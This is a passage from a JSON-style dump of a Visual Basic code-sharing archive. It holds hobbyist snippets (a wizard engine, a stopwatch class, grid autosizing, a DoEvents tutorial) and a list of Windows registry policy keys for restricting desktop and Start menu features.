Var1\nCopyMemory ByVal VarPtr(Var1), ByVal VarPtr(Var2), 4\n' Copy memory descriptor of saved Var1 to Var2\nCopyMemory ByVal VarPtr(Var2), lSaveAddr, 4\n'4 bytes is the size of one string. You may need to\n'edit this coding a little in order to create memory\n'efficient storage for different data types (i.e.\n'user defined types).\nEnd Sub"},{"WorldId":1,"id":8539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8541,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8544,"LineNumber":1,"line":"Option Explicit\nOption Compare Text\n'-- This class encapsulates the logic for implementing a wizard.\n' Copyright Matthew Janofsky 2000\n'\n' To use the Wizard Engine:\n' Assign the panels in the order you want them displayed.\n' Panels can be any control that exposes the Visible\n' property and the Move method.\n' Assign the Next, Previous, Cancel and Finish buttons.\n' Make sure the first panel is in the position that\n' the panels should be displayed.\n'\n' Example:\n' Option Explicit\n'\n' Private WithEvents m_oWiz As cWizardEngine\n'\n' Private Sub Form_Load()\n'\n' Set m_oWiz = New cWizardEngine\n'\n' '-- Add the panels in the order we want them displayed.\n' m_oWiz.AddPanel Me.Frame1\n' m_oWiz.AddPanel Me.Frame2\n' m_oWiz.AddPanel Me.Frame3\n'\n' '-- Add the buttons.\n' Set m_oWiz.CancelButton = Me.cmdCancel\n' Set m_oWiz.FinishButton = Me.cmdFinish\n' Set m_oWiz.NextButton = Me.cmdNext\n' Set m_oWiz.PrevButton = Me.cmdPrev\n'\n' '-- Only allow the finish button on the last panel.\n' m_oWiz.FinishEnabledOnAllPanels = False\n'\n' '-- Start the wizard.\n' m_oWiz.StartWizard\n'\n' End Sub\n'\n' Use the cWizardEngine_BeforeNext() event to validate\n' the user's entry on the current panel when the\n' Next button is clicked.\n'\n' Use the cWizardEngine_AfterNext() event to do any\n' pre-display logic when a new panel is displayed\n' after the Next button is clicked.\n'----------------------\n' Property variables\n'----------------------\nPrivate m_lCurrentPanelNbr As Long\nPrivate m_bFinishEnabledOnAllPanels As Boolean\nPrivate m_aPanels() As Control 'Array of panels.\nPrivate WithEvents m_cmdCancelButton As CommandButton\nPrivate WithEvents m_cmdFinishButton As CommandButton\nPrivate WithEvents m_cmdNextButton As CommandButton\nPrivate WithEvents m_cmdPrevButton As CommandButton\n'----------------------\n' Class variables\n'----------------------\nPrivate m_lPanelCount As Long\n'----------------------\n' Raised Events\n'----------------------\nPublic Event AfterNext(NewPanelNbr As Long)\nPublic Event BeforeNext(CurrentPanelNbr As Long, _\n Cancel As Boolean)\n'----------------------\n' Methods\n'----------------------\nPublic Sub AddPanel(PanelToAdd As Control)\n On Error GoTo AddPanel_Error\n \n '-- Add a panel to the list.\n m_lPanelCount = m_lPanelCount + 1\n \n ReDim Preserve m_aPanels(m_lPanelCount)\n Set m_aPanels(m_lPanelCount) = PanelToAdd\n \n '-- If this wasn't the first panel, adjust the panel _\n ' dimensions and position to match the first panel.\n If m_lPanelCount > 1 Then\n With m_aPanels(1)\n m_aPanels(m_lPanelCount).Move .Left, .Top, _\n .Width, .Height\n End With\n End If\n \n '-- Exit the procedure.\n GoTo AddPanel_Exit\nAddPanel_Error:\n Select Case Err\n '-- Add specific error cases here\n 'Case ...\n Case Else:\n Err.Raise Err.Number, \"cWizardEngine::AddPanel()\", _\n Err.Description, Err.HelpFile, Err.HelpContext\n End Select\n Resume AddPanel_Exit\n Resume 'For debugging purposes\nAddPanel_Exit:\nEnd Sub\nPublic Sub StartWizard()\n On Error GoTo StartWizard_Error\n Dim X As Long\n \n '-- Set the command button properties.\n m_cmdCancelButton.Enabled = True\n \n If m_bFinishEnabledOnAllPanels = True Then\n m_cmdFinishButton.Enabled = True\n Else\n m_cmdFinishButton.Enabled = False\n End If\n \n m_cmdNextButton.Enabled = True\n m_cmdPrevButton.Enabled = False\n \n '-- Set the panel properties. Display the first panel.\n m_aPanels(1).Visible = True\n For X = 2 To m_lPanelCount\n m_aPanels(X).Visible = False\n Next\n \n '-- Set the current panel.\n m_lCurrentPanelNbr = 1\n \n '-- Exit the procedure.\n GoTo StartWizard_Exit\nStartWizard_Error:\n Select Case Err\n '-- Add specific error cases here\n 'Case ...\n Case Else:\n Err.Raise Err.Number, _\n \"cWizardEngine::StartWizard()\", _\n Err.Description, Err.HelpFile, _\n Err.HelpContext\n End Select\n Resume StartWizard_Exit\n Resume 'For debugging purposes\nStartWizard_Exit:\nEnd Sub\n'-----------------------\n' Properties\n'-----------------------\nPublic Property Set CancelButton(RHS As CommandButton)\n Set m_cmdCancelButton = RHS\nEnd Property\nPublic Property Get CurrentPanelNbr() As Long\n '-- Return the current panel number.\n CurrentPanelNbr = m_lCurrentPanelNbr\nEnd Property\nPublic Property Set FinishButton(RHS As CommandButton)\n Set m_cmdFinishButton = RHS\nEnd Property\nPublic Property Get FinishEnabledOnAllPanels() As Boolean\n FinishEnabledOnAllPanels = m_bFinishEnabledOnAllPanels\nEnd Property\nPublic Property Let FinishEnabledOnAllPanels(RHS As Boolean)\n m_bFinishEnabledOnAllPanels = RHS\nEnd Property\nPublic Property Set NextButton(RHS As CommandButton)\n Set m_cmdNextButton = RHS\nEnd Property\nPublic Property Set PrevButton(RHS As CommandButton)\n Set m_cmdPrevButton = RHS\nEnd Property\n'-------------------------\n' Class Methods\n'-------------------------\nPrivate Sub Class_Initialize()\n On Error Resume Next\n m_bFinishEnabledOnAllPanels = False\n m_lPanelCount = 0\n m_lCurrentPanelNbr = 0\nEnd Sub\nPrivate Sub Class_Terminate()\n \n On Error Resume Next\n \n Dim X As Long\n \n Set m_cmdCancelButton = Nothing\n Set m_cmdFinishButton = Nothing\n Set m_cmdNextButton = Nothing\n Set m_cmdPrevButton = Nothing\n \n For X = 1 To m_lPanelCount\n Set m_aPanels(X) = Nothing\n Next\nEnd Sub\n'-------------------------\n' Event handlers\n'-------------------------\nPrivate Sub m_cmdCancelButton_Click()\n '-- Do nothing. It is up to the caller to handle it.\nEnd Sub\nPrivate Sub m_cmdFinishButton_Click()\n '-- Do nothing. It is up to the caller to handle it.\nEnd Sub\nPrivate Sub m_cmdNextButton_Click()\n '-- Display the next panel.\n On Error GoTo m_cmdNextButton_Click_Error\n \n Dim bCancel As Boolean\n \n '-- Give the caller a chance to cancel this event.\n RaiseEvent BeforeNext(m_lCurrentPanelNbr, bCancel)\n If bCancel = True Then\n GoTo m_cmdNextButton_Click_Exit\n End If\n m_aPanels(m_lCurrentPanelNbr + 1).Visible = True\n \n '-- Hide the current panel.\n m_aPanels(m_lCurrentPanelNbr).Visible = False\n \n '-- Increment the current panel.\n m_lCurrentPanelNbr = m_lCurrentPanelNbr + 1\n \n '-- Enable the Prev button.\n m_cmdPrevButton.Enabled = True\n \n '-- If we are now on the last panel, enable the finish\n ' button if it is not already enabled and disable\n ' the Next button.\n If m_lCurrentPanelNbr = m_lPanelCount Then\n m_cmdFinishButton.Enabled = True\n m_cmdNextButton.Enabled = False\n End If\n \n '-- Let the caller know we are finished.\n RaiseEvent AfterNext(m_lCurrentPanelNbr)\n \n '-- Exit the procedure.\n GoTo m_cmdNextButton_Click_Exit\nm_cmdNextButton_Click_Error:\n Select Case Err\n '-- Add specific error cases here\n 'Case ...\n Case Else:\n Err.Raise Err.Number, _\n \"cWizardEngine::m_cmdNextButton_Click()\", _\n Err.Description, Err.HelpFile, _\n Err.HelpContext\n End Select\n Resume m_cmdNextButton_Click_Exit\n Resume 'For debugging purposes\nm_cmdNextButton_Click_Exit:\nEnd Sub\nPrivate Sub m_cmdPrevButton_Click()\n '-- Display the previous panel.\n On Error GoTo m_cmdPrevButton_Click_Error\n m_aPanels(m_lCurrentPanelNbr - 1).Visible = True\n \n '-- Hide the current panel.\n m_aPanels(m_lCurrentPanelNbr).Visible = False\n \n '-- Decrement the current Panel.\n m_lCurrentPanelNbr = m_lCurrentPanelNbr - 1\n \n '-- Enable the Next Button.\n m_cmdNextButton.Enabled = True\n \n '-- We are not on the last panel, so disable the\n ' Finish button.\n If m_bFinishEnabledOnAllPanels = False Then\n m_cmdFinishButton.Enabled = False\n End If\n \n '-- If we are on the first panel, disable the Prev button.\n If m_lCurrentPanelNbr = 1 Then\n m_cmdPrevButton.Enabled = False\n End If\n \n '-- Exit the procedure.\n GoTo m_cmdPrevButton_Click_Exit\nm_cmdPrevButton_Click_Error:\n Select Case Err\n '-- Add specific error cases here\n 'Case ...\n Case Else:\n Err.Raise Err.Number, _\n \"cWizardEngine::m_cmdPrevButton_Click()\", _\n Err.Description, Err.HelpFile, _\n Err.HelpContext\n End Select\n Resume m_cmdPrevButton_Click_Exit\n Resume 'For debugging purposes\nm_cmdPrevButton_Click_Exit:\nEnd Sub\n"},{"WorldId":1,"id":8546,"LineNumber":1,"line":"Option Explicit\nOption Compare Text\n'\n'-- Copyright Matthew Janofsky 2000\n'\n'-- Use the class to implement a stopwatch whenever\n' you want to time how many milliseconds it takes\n' to perform some action.\n'\n' Example usage:\n'\n' Public Sub MySub()\n' Dim SW As CStopWatch\n' Dim X As Long\n'\n' Set SW = New CStopWatch\n'\n' '-- Start the timer.\n' SW.StartTimer\n' For X = 1 To 100000\n' '-- Do something.\n' If X Mod 10000 = 0 Then\n' '-- Show the lap time.\n' Debug.Print \" Laptime: \" & SW.LapTime _\n' & \" Elapsed: \" & SW.ElapsedMilliseconds\n' End If\n' Next X\n' SW.StopTimer\n' Debug.Print \"Loop Time: \" & SW.ElapsedMilliseconds\n'\n' Set SW = Nothing\n' End Sub\n'\n' Debug output:\n' Laptime: 0 Elapsed: 0\n' Laptime: 6 Elapsed: 6\n' Laptime: 5 Elapsed: 11\n' Laptime: 4 Elapsed: 15\n' Laptime: 5 Elapsed: 20\n' Laptime: 5 Elapsed: 25\n' Laptime: 5 Elapsed: 30\n' Laptime: 0 Elapsed: 30\n' Laptime: 5 Elapsed: 35\n' Laptime: 5 Elapsed: 40\n' Loop Time: 40\n'-- Local Declares\nPrivate Declare Function GetTickCount Lib \"kernel32\" () As Long\n'-- Local private variables\nPrivate m_lStartTime As Long\nPrivate m_lEndTime As Long\nPrivate m_lLastLapTime As Long\nPublic Sub StopTimer()\n On Error GoTo StopTimer_Error\n m_lEndTime = GetTickCount()\n '-- Exit the procedure.\n GoTo StopTimer_Exit\nStopTimer_Error:\n Err.Raise Err.Number, \"CStopWatch::StopTimer()\", _\n Err.Description, Err.HelpFile, Err.HelpContext\n Resume StopTimer_Exit\n Resume 'For debugging purposes\nStopTimer_Exit:\nEnd Sub\nPublic Sub ResetTimer()\n On Error GoTo ResetTimer_Error\n m_lStartTime = 0\n m_lEndTime = 0\n m_lLastLapTime = 0\n \n '-- Exit the procedure.\n GoTo ResetTimer_Exit\nResetTimer_Error:\n Err.Raise Err.Number, \"CStopWatch::ResetTimer()\", _\n Err.Description, Err.HelpFile, Err.HelpContext\n Resume ResetTimer_Exit\n Resume 'For debugging purposes\nResetTimer_Exit:\nEnd Sub\nPublic Sub StartTimer()\n On Error GoTo StartTimer_Error\n \n Dim lStoppedTime As Long\n \n '-- If there is an endtime, we need to calculate how much time\n ' has elapsed since it was stopped and adjust the start time\n ' and last lap time accordingly. We don't want to\n ' include time that passed while the watch was stopped.\n \n If m_lEndTime > 0 Then\n \n '-- How long were we stopped?\n lStoppedTime = GetTickCount() - m_lEndTime\n \n '-- Adjust the start time.\n m_lStartTime = m_lStartTime + lStoppedTime\n \n '-- Adjust the LapTime.\n m_lLastLapTime = m_lLastLapTime + lStoppedTime\n \n Else\n \n '-- First time we've started. Just capture the start time.\n m_lStartTime = GetTickCount()\n \n End If\n \n '-- Clear the endtime.\n m_lEndTime = 0\n \n '-- Exit the procedure.\n GoTo StartTimer_Exit\nStartTimer_Error:\n Err.Raise Err.Number, \"CStopWatch::StartTimer()\", _\n Err.Description, Err.HelpFile, Err.HelpContext\n Resume StartTimer_Exit\n Resume 'For debugging purposes\nStartTimer_Exit:\nEnd Sub\nPublic Property Get ElapsedMilliseconds() As Long\n On Error GoTo ElapsedMilliseconds_Error\n If m_lStartTime = 0 Then\n '-- The timer hasn't started yet. Return 0.\n ElapsedMilliseconds = 0\n GoTo ElapsedMilliseconds_Exit\n End If\n \n If m_lEndTime = 0 Then\n '-- The user has not clicked stop yet. Give an elapsed time.\n ElapsedMilliseconds = GetTickCount() - m_lStartTime\n Else\n '-- There is a stop time. Just calculate the difference.\n ElapsedMilliseconds = m_lEndTime - m_lStartTime\n End If\n '-- Exit the procedure.\n GoTo ElapsedMilliseconds_Exit\nElapsedMilliseconds_Error:\n Err.Raise Err.Number, \"CStopWatch::ElapsedMilliseconds()\", _\n Err.Description, Err.HelpFile, Err.HelpContext\n Resume ElapsedMilliseconds_Exit\n Resume 'For debugging purposes\nElapsedMilliseconds_Exit:\nEnd Property\nPublic Property Get Laptime() As Long\n '-- Return the number of seconds since the last LapTime.\n On Error GoTo Laptime_Error\n \n Dim lCurrentLapTime As Long\n Dim lRetVal As Long\n \n lCurrentLapTime = Me.ElapsedMilliseconds\n \n If m_lLastLapTime = 0 Then\n '-- First Lap. Just return the Elapsed Milliseconds.\n lRetVal = lCurrentLapTime\n Else\n lRetVal = lCurrentLapTime - m_lLastLapTime\n End If\n \n '-- Save the last lap time.\n m_lLastLapTime = lCurrentLapTime\n \n '-- Return the lap time.\n Laptime = lRetVal\n \n '-- Exit the procedure.\n GoTo Laptime_Exit\nLaptime_Error:\n Err.Raise Err.Number, \"CStopWatch::Laptime()\", _\n Err.Description, Err.HelpFile, Err.HelpContext\n Resume Laptime_Exit\n Resume 'For debugging purposes\nLaptime_Exit:\nEnd Property\n"},{"WorldId":1,"id":8547,"LineNumber":1,"line":"Public Sub AutosizeGridColumns(ByRef msFG As MSFlexGrid, ByVal MaxRowsToParse As Integer, ByVal MaxColWidth As Integer)\nDim I, J As Integer\nDim txtString As String\nDim intTempWidth, BiggestWidth As Integer\nDim intRows As Integer\nConst intPadding = 150\n \nWith msFG\n For I = 0 To .Cols - 1\n ' Loops through every column\n \n .Col = I\n ' Set the active colunm\n \n intRows = .Rows\n ' Set the number of rows\n \n If intRows > MaxRowsToParse Then intRows = MaxRowsToParse\n ' If there are more rows of data, reset\n ' intRows to the MaxRowsToParse constant\n \n intBiggestWidth = 0\n ' Reset some values to 0\n \n For J = 0 To intRows - 1\n ' check up to MaxRowsToParse # of rows and obtain\n ' the greatest width of the cell contents\n \n .Row = J\n \n txtString = .Text\n intTempWidth = TextWidth(txtString) + intPadding\n ' The intPadding constant compensates for text insets\n ' You can adjust this value above as desired.\n \n If intTempWidth > intBiggestWidth Then intBiggestWidth = intTempWidth\n ' Reset intBiggestWidth to the intMaxColWidth value if necessary\n \n Next J\n .ColWidth(I) = intBiggestWidth\n Next I\n ' Now check to see if the columns aren't as wide as the grid itself.\n ' If not, determine the difference and expand each column proportionately\n ' to fill the grid\n intTempWidth = 0\n \n For I = 0 To .Cols - 1\n intTempWidth = intTempWidth + .ColWidth(I)\n ' Add up the width of all the columns\n Next I\n \n If intTempWidth < msFG.Width Then\n ' Compate the width of the columns to the width of the grid control\n ' and if necessary expand the columns.\n \n intTempWidth = Fix((msFG.Width - intTempWidth) / .Cols)\n ' Determine the amount od width expansion needed by each column\n \n For I = 0 To .Cols - 1\n .ColWidth(I) = .ColWidth(I) + intTempWidth\n ' add the necessary width to each column\n \n Next I\n End If\nEnd With\nEnd Sub"},{"WorldId":1,"id":8552,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8557,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8562,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8563,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8581,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8597,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8598,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8604,"LineNumber":1,"line":"'Note** This meant to be saved as a form\n'Copy below this line; paste into notepad; Save as frmSnapto.frm\nVERSION 5.00\nBegin VB.Form frmSnapTo \n BorderStyle = 0 'None\n Caption = \"Form1\"\n ClientHeight = 1335\n ClientLeft = 0\n ClientTop = 0\n ClientWidth = 3660\n LinkTopic = \"Form1\"\n ScaleHeight = 1335\n ScaleWidth = 3660\n ShowInTaskbar = 0 'False\n StartUpPosition = 3 'Windows Default\n Begin VB.Timer tmrPos \n Enabled = 0 'False\n Interval = 1\n Left = 120\n Top = 360\n End\n Begin VB.Label lblTop \n BackColor = &H000000FF&\n Caption = \"Caption\"\n Height = 255\n Left = 0\n TabIndex = 0\n Top = 0\n Width = 3720\n End\nEnd\nAttribute VB_Name = \"frmSnapTo\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\nPrivate Type POINTAPI\n X As Long\n Y As Long\nEnd Type\nDim iX As Integer, iY As Integer\nPrivate Sub lblTop_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\niX% = X: iY% = Y\ntmrPos.Enabled = True\nEnd Sub\nPrivate Sub lblTop_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\ntmrPos.Enabled = False\nEnd Sub\nPrivate Sub tmrPos_Timer()\nDim ptPos As POINTAPI\n Call GetCursorPos(ptPos)\n lblTop.Caption = ptPos.X & \" - \" & ptPos.Y\nIf ptPos.Y - ((lblTop.Top + iY%) / Screen.TwipsPerPixelY) <= 20 Then ptPos.Y = 0 + ((lblTop.Top + iY%) / Screen.TwipsPerPixelY)\nIf ptPos.X - ((lblTop.Left + iX%) / Screen.TwipsPerPixelX) <= 20 Then ptPos.X = 0 + ((lblTop.Left + iX%) / Screen.TwipsPerPixelX)\nIf ptPos.Y - ((lblTop.Top + iY%) / Screen.TwipsPerPixelY) >= (Screen.Height - Me.Height - 400) / Screen.TwipsPerPixelY - 20 Then\n ptPos.Y = (Screen.Height - Me.Height + iY% - 400) / Screen.TwipsPerPixelY\nEnd If\nIf ptPos.X - ((lblTop.Left + iX%) / Screen.TwipsPerPixelX) >= (Screen.Width - Me.Width) / Screen.TwipsPerPixelX - 20 Then\n ptPos.X = (Screen.Width - Me.Width + iX%) / Screen.TwipsPerPixelX\nEnd If\nMe.Top = (ptPos.Y * Screen.TwipsPerPixelY) - lblTop.Top - iY%\nMe.Left = (ptPos.X * Screen.TwipsPerPixelX) - lblTop.Left - iX%\nEnd Sub\n"},{"WorldId":1,"id":8610,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8611,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8617,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8622,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8625,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8627,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8634,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8643,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8648,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8651,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8653,"LineNumber":1,"line":"If you are a new VB programmer and have begun to develop more sophisticated applications to do animations, heavy number crunching, etc., you may have noticed that sometimes those apps seem to take control of Windows while they run. For example, your mouse clicks and keystrokes may take a long time to register with your app and others. You may not even see your mouse moving with you fast enough.\nThe good news is that it's fairly easy to correct this problem.\nWhile newer versions of Windows support \"simultaneous\" multitasking using \"time slices\" for each process, Windows is still a non-preemptive operating system at its core. \"Preemptive multitasking\" means that the operating system (OS) gives each running process a slice of time running on the CPU before it interrupts it to give CPU control to the next process. Each process need not care about the CPU needs of any other. \"Nonpreemptive multitasking\" means that the processes are expected to voluntarily yield control of the CPU to the OS so it can give control to the next running program.\nRoughly speaking, if you're not somehow giving control of the CPU back to Windows, other apps can't use it.\nMost simple VB programs get control when Windows triggers an event, like a button click or mouse movement. If your app responds to the event, it automatically gives control back to Windows when the responding event (e.g., <TT>Command1_Click()</TT> ) is done executing. But if it doesn't exit within a few seconds, you may start to notice your app is hogging resources.\nFortunately, VB comes with a built in routine to voluntarily give control of the CPU back to Windows for a while: DoEvents. Consider the following simple program:\n<UL><PRE>\nPrivate GoForIt As Boolean\nPrivate Sub Command1_Click()\n If GoForIt Then 'Clicked to stop\n GoForIt = False\n Else 'Clicked to start\n GoForIt = True\n Do While GoForIt\n Command1.Caption = Rnd\n DoEvents\n Loop\n End If\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n GoForIt = False 'Break out of the loop\n DoEvents\nEnd Sub\n</PRE></UL>\nNotice how DoEvents is used in <TT>Form_Unload()</TT> to let the loop initiated in <TT>Command1_Click()</TT>, if it's still running, finish and exit? That's right; one chunk of your own code can be running \"in parallel\" with another chunk in your program. You don't have to mess with multithreading or multiprocessing to have this happen. This is another benefit of using DoEvents liberally and carefully.\nIn summary, use DoEvents to break up algorithms that take a long time or loop continuously to give Windows a chance now and then to do other things with the CPU.\n"},{"WorldId":1,"id":8654,"LineNumber":1,"line":"\nDirectSS1.speak text \n\n' text can be whatever you want, for example, text1.text can be used, or whatever else you can think of."},{"WorldId":1,"id":8659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8663,"LineNumber":1,"line":"Public Function GetDriveInfo(DriveName As String) As String\n retval = GetDiskFreeSpace_FAT32(Left(DriveName, 2), FB, BT, FBT)\nFBT = FBT * 10000 'convert result to actual size in bytes\n If FBT / Gigabyte < 1 Then 'If less than 1GB then show as MB\n DriveSize = Format(FBT / Megabyte, \"####,###,###\") & \" MB free\"\n Else 'Show as GB\n DriveSize = Format(FBT / Gigabyte, \"####,###,###.00\") & \" GB free\"\n End If\n \n GetDriveInfo = \"[\" & DriveSize & \"]\"\nEnd Function\n"},{"WorldId":1,"id":8666,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8682,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8684,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8686,"LineNumber":1,"line":"\nOptions and Their Locations\n\nWritten By John Hall\n\n \n\nDisable Changing Wallpaper – Win98/2000 Only (Active\nDesktop Enabled)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop\\NoChangingWallPaper\n\nData Type : DWORD = 00000001\n \n\nDisable Active Desktop Changes (All Components) –\nWin98/2000 Only (Active Desktop Enabled)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoActiveDesktopChanges\n\nData Type : DWORD = 00000001\n \n\nDisable Desktop Icons\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDesktop\n\nData Type : DWORD = 00000001\n \n\nDisable Active Desktop – Win98/2000 Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoActiveDesktop\n\nData Type : DWORD = 00000001\n\n \n\nDisable HTML Wallpaper – Win98/2000 Only (Active Desktop\nEnabled)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop\\NoHTMLWallPaper\n\nData Type : DWORD = 00000001\n \n\nDisable Closing Active Desktop Components – Win98/2000 Only\n(Active Desktop Enabled)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop\\NoClosingComponents\n\nData Type : DWORD = 00000001\n \n\nDisable Deleting Active Desktop Components – Win98/2000\nOnly (Active Desktop Enabled)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop\\NoDeletingComponents\n\nData Type : DWORD = 00000001\n \n\nDisable Editing Active Desktop Components – Win98/2000 Only\n(Active Desktop Enabled)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop\\NoEditingComponents\n\nData Type : DWORD = 00000001\n \n\nDisable Adding Active Desktop Components – Win98/2000 Only\n(Active Desktop Enabled)\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop\\NoAddingComponents\n\nData Type : DWORD = 00000001\n \n\nDisable Desktop Internet Icon\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoInternetIcon\n\nData Type : DWORD = 00000001\n \n\nDisable Desktop Network Neighborhood Icon\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoNetHood\n\nData Type : DWORD = 00000001\n \n\nDisable Disk Drive Autorun\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDriveTypeAutoRun\n\nData Type : DWORD = b5000000\n \n\nDisable Environment Appearance Properties Access\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\NoDispAppearancePage\n\nData Type : DWORD = 00000001\n \n\nDisable Desktop Background Properties Access\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\NoDispBackgroundPage\n\nData Type : DWORD = 00000001\n \n\nDisable Display Icon from Control Panel\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\NoDispCPL\n\nData Type : DWORD = 00000001\n \n\nDisable Screen Saver Properties Access\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\NoDispScrSavPage\n\nData Type : DWORD = 00000001\n \n\nDisable Screen Settings Properties Access\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\NoDispSettingsPage\n\nData Type : DWORD = 00000001\n \n\nDisable All But Selected Applications from Running\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RestrictRun\n\nData Type : DWORD = 00000001\n\nNOTE : Add the selected applications in a key of Explorer\nnamed RestrictRun. Add the applications like below:\n \n<blockquote>\n <blockquote>\n StringValue Name : "1" – Data : "mspaint.exe"\n \n </blockquote>\n</blockquote>\n\nDisable Start Menu Shut Down Command\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoClose\n\nData Type : DWORD = 00000001\n \n\nDisable Start Menu Log Off Command\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoLogoff\n\nData Type : DWORD = 00000001\n\nDisable Start Menu Find Command\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoFind\n\nData Type : DWORD = 00000001\n \n\nDisable Start Menu Documents Menu\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoRecentDocsMenu\n\nData Type : DWORD = 00000001\n \n\nDisable Start Menu Favorites Menu\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoFavoritesMenu\n\nData Type : DWORD = 00000001\n \n\nDisable Settings Menu Folder Options\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoFolderOptions\n\nData Type : DWORD = 00000001\n \n\nDisable Desktop Update\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoDesktopUpdate\n\nData Type : DWORD = 00000001\n \n\nDisable Settings Menu Active Desktop Settings\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoSetActiveDesktop\n\nData Type : DWORD = 00000001\n \n\nDisable Settings Menu Folder Settings\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoSetFolders\n\nData Type : DWORD = 00000001\n\n \n\nDisable Settings Menu Taskbar Settings\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoSetTaskbar\n\nData Type : DWORD = 00000001\n \n\nDisable Saving Changed Settings\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoSaveSettings\n\nData Type : DWORD = 00000001\n \n\nDisable Right-Click on the Taskbar\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoTrayContextMenu\n\nData Type : DWORD = 00000001\n \n\nDisable Right-Click on the Desktop\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\NoViewContextMenu\n\nData Type : DWORD = 00000001\n\nDisable Closing Web Browser – Internet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoBrowserClose\n\nData Type : DWORD = 00000001\n \n\nDisable Right-Click in Web Browser – Internet Explorer 